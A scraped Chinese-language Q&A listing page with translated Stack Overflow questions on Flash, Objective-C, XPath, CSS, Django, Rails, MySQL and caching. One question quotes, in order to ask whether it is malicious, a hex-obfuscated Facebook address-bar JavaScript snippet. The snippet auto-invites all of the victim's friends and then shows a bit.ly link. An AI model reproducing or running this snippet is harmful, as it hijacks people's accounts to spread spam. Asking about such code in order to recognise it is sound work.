问题列表 - 第24959页

在ExternalInterface.addCallback中注册的函数在Javascript中不可用

我正在开发一款Flash游戏,需要在页面上调用一些Javascript并从中获取数据.从Flash调用Javascript工作.从Javascript(通常)调用Flash函数不会.

我正在使用Gaia框架.

怎么了:

  1. swf与SWFObject一起加载
  2. Flash文件中有一个按钮.单击时,它用于ExternalInterface.call()调用Javascript函数.这有效.
  3. Javascript函数调用公开的Flash函数ExternalInterface.addCallback().
  4. 有时,Javascript会产生以下错误:TypeError: myFlash.testCallback is not a function.
  5. 发生错误时,它会影响注册的所有功能addCallback().Gaia及其中包含的一些库使用addCallback(),从Javascript调用这些函数也会产生TypeError.
  6. 在Flash中按下按钮之前等待很长时间并不能解决错误.
  7. 让Flash addCallback()定期重试并不能解决错误
  8. 发生错误时,ExternalInterface.available = trueExternalInterface.objectID包含Flash嵌入对象的正确名称.
  9. 发生错误时,document.getElementById('myflashcontent')正确返回Flash嵌入对象.

编辑添加:

  • 此问题出现在Firefox 3.6中,但不出现在Chrome或IE8中.我没有尝试旧版浏览器.
  • 我正在运行Flash播放器的Debug版本.
  • 我的电话ExternalInterface.addCallback()被包裹在一个try...catch街区.发生JS错误时,不会触发该catch块.这是一场无声的失败.
  • 在webhost上进行测试时发生错误,swf从与其所在页面相同的服务器加载.
  • 我设置allowScriptAccess = always.
  • 设置flash.system.Security.allowDomain("mydomain")不能解决错误.

从我的Page类:

public class MyPage extends AbstractPage
{
    // declarations of stage instances and class variables …
Run Code Online (Sandbox Code Playgroud)

javascript flash swfobject actionscript-3 externalinterface

10
推荐指数
1
解决办法
1万
查看次数

基本Objective-C语法:"%@"?

我正在浏览斯坦福iPhone播客并提出一些基本问题.

第一个:为什么没有简单的字符串连接?(或者我只是错过了吗?)

我需要帮助下面的NSLog,并且不知道它目前正在做什么(%@部分).您是否只需要在需要连接的地方替换那些,然后用逗号分隔最后的值?

NSString *path = @"~";
NSString *absolutePath = [path stringByExpandingTildeInPath];

NSLog(@"My home folder is at '%@'", absolutePath);
Run Code Online (Sandbox Code Playgroud)

而使用任何其他编程语言我都这样做:

NSLog(@"My home folder is at " + absolutePath);
Run Code Online (Sandbox Code Playgroud)

谢谢!(另外,熟悉Java/C#/ etc样式语法过渡到Objective-C的人有什么好的指南/参考资料吗?)

c syntax objective-c

5
推荐指数
1
解决办法
1万
查看次数

如何使用Core Graphics和CALayer绘制更精确的线条

你好,我很难让这个UI元素看起来像我想要的那样(见截图).注意右边的图像 - 与左边的图像相比,线条宽度和黑暗看起来不一致(这恰好是来自safari的屏幕抓取),边框宽度更加一致.苹果如何让它们的线条如此完美?

我正在使用CALayer和Core Graphics API在右侧绘制图像.是否有可能用标准的apis画出如此完美的线条?

cocoa objective-c

2
推荐指数
1
解决办法
1119
查看次数

如何忽略xpath中的第一个元素

如何忽略第一个元素并获取其余元素?

<ul>
  <li><a href="#">some link</a></li>
  <li><a href="#">some link 2</a></li>
  <li><a href="#">link i want to find</a></li>
</ul>
Run Code Online (Sandbox Code Playgroud)

谢谢

xpath

45
推荐指数
2
解决办法
3万
查看次数

在CSS结尾处的问号包括url做什么?

我注意到在某些网站(包括SO)上,CSS的链接如下所示:

<link rel="stylesheet" href="http://sstatic.net/so/all.css?v=6638"> 
Run Code Online (Sandbox Code Playgroud)

我会说可以安全地假设它?v=6638告诉浏览器加载css文件的6638版本.但是我可以在我的网站上执行此操作吗?我可以通过更改数字来包含不同版本的CSS文件吗?

html css caching http

13
推荐指数
1
解决办法
7679
查看次数

如何检查给定的日期时间对象是否在两个日期时间之间?

my_event = Event.objects.get(id=4)
current_time = datetime.datetime.now()
Run Code Online (Sandbox Code Playgroud)

如何检查我当前的时间是否在他们之间?

my_event.start_time < current_time < my_event.end_time
Run Code Online (Sandbox Code Playgroud)

python django time datetime

7
推荐指数
2
解决办法
2万
查看次数

查看Rails迁移输出的方法

有没有一种简单的方法可以查看rails迁移生成的实际SQL?

我有一种情况,即在生产服务器上部分失败,我的本地开发机器上的列类型的迁移工作正常.

我的postgreSQL版本在本地和生产之间是不同的(7个生产,8个本地)所以我希望通过查看在本地成功迁移时生成的SQL,我可以找出一个SQL语句来运行生产来修复问题. ..

migration postgresql activerecord ruby-on-rails

6
推荐指数
2
解决办法
2792
查看次数

在PHP上使用ON DUPLICATE KEY UPDATE时获取mysql_insert_id()

我已经使用mySQL单独找到了一些答案,但是我希望有人可以告诉我在使用PHP处理插入/更新时获取mysql DB的最后一行或更新行的ID的方法.

目前我有这样的东西,其中column3是一个唯一的键,并且还有一个id列,它是一个自动增量的主键:

$query ="INSERT INTO TABLE (column1, column2, column3) VALUES (value1, value2, value3) ON DUPLICATE KEY UPDATE SET column1=value1, column2=value2, column3=value3";
mysql_query($query);

$my_id = mysql_insert_id();
Run Code Online (Sandbox Code Playgroud)

INSERT上的$ my_id是正确的,但是当它更新一行时(ON DUPLICATE KEY UPDATE)不正确.

我看过几篇帖子,人们建议你使用类似的东西

INSERT INTO table (a) VALUES (0) ON DUPLICATE KEY UPDATE id=LAST_INSERT_ID(id) 
Run Code Online (Sandbox Code Playgroud)

在调用ON DUPLICATE KEY时获取有效的ID值 - 但这会将该有效ID返回给PHP mysql_insert_id()函数吗?

php mysql mysql-insert-id

23
推荐指数
2
解决办法
2万
查看次数

地址栏中的Javascript - 这是恶意的吗?

我在Facebook上收到一条消息,告诉我将其复制并粘贴到我的地址栏中.我以为我会把它发布在这里,看看大家怎么想.它有什么作用?它是如何工作的?

这是源代码:

// (DO NOT DO THIS!)
Javascript:var a=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x31\x32\x36\x38\x32\x36\x39\x35\x34\x31\x38\x35\x32\x33\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73","\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74","\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"];
void (document[a[2]](a[1])[a[0]]=a[3]);var ss=document[a[2]](a[4]);
var c=document[a[6]](a[5]);
c[a[8]](a[7],true,true);
void (ss[a[9]](c));
void (setTimeout(function (){fs[a[10]]();} ,4000));
void (setTimeout(function (){SocialGraphManager[a[13]](a[11],a[12]);} ,5000));
void (setTimeout(function (){
document[a[2]](a[1])[a[0]]="\x3C\x61\x20\x68\x72\x65\x66\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x62\x69\x74\x2E\x6C\x79\x2F\x62\x54\x6C\x30\x76\x6A\x27\x3E\x43\x6F\x6D\x70\x6C\x65\x74\x65\x64\x21\x20\x43\x6C\x69\x63\x6B\x20\x68\x65\x72\x65\x3C\x2F\x61\x3E";
} ,5400));
Run Code Online (Sandbox Code Playgroud)

javascript security

7
推荐指数
1
解决办法
3465
查看次数

利用浏览器缓存

我有一个网站,当我用谷歌插件检查页面速度时,我收到:

利用浏览器缓存以下资源缺少缓存过期

我在哪里可以更改此设置?

apache .htaccess caching

5
推荐指数
1
解决办法
6668
查看次数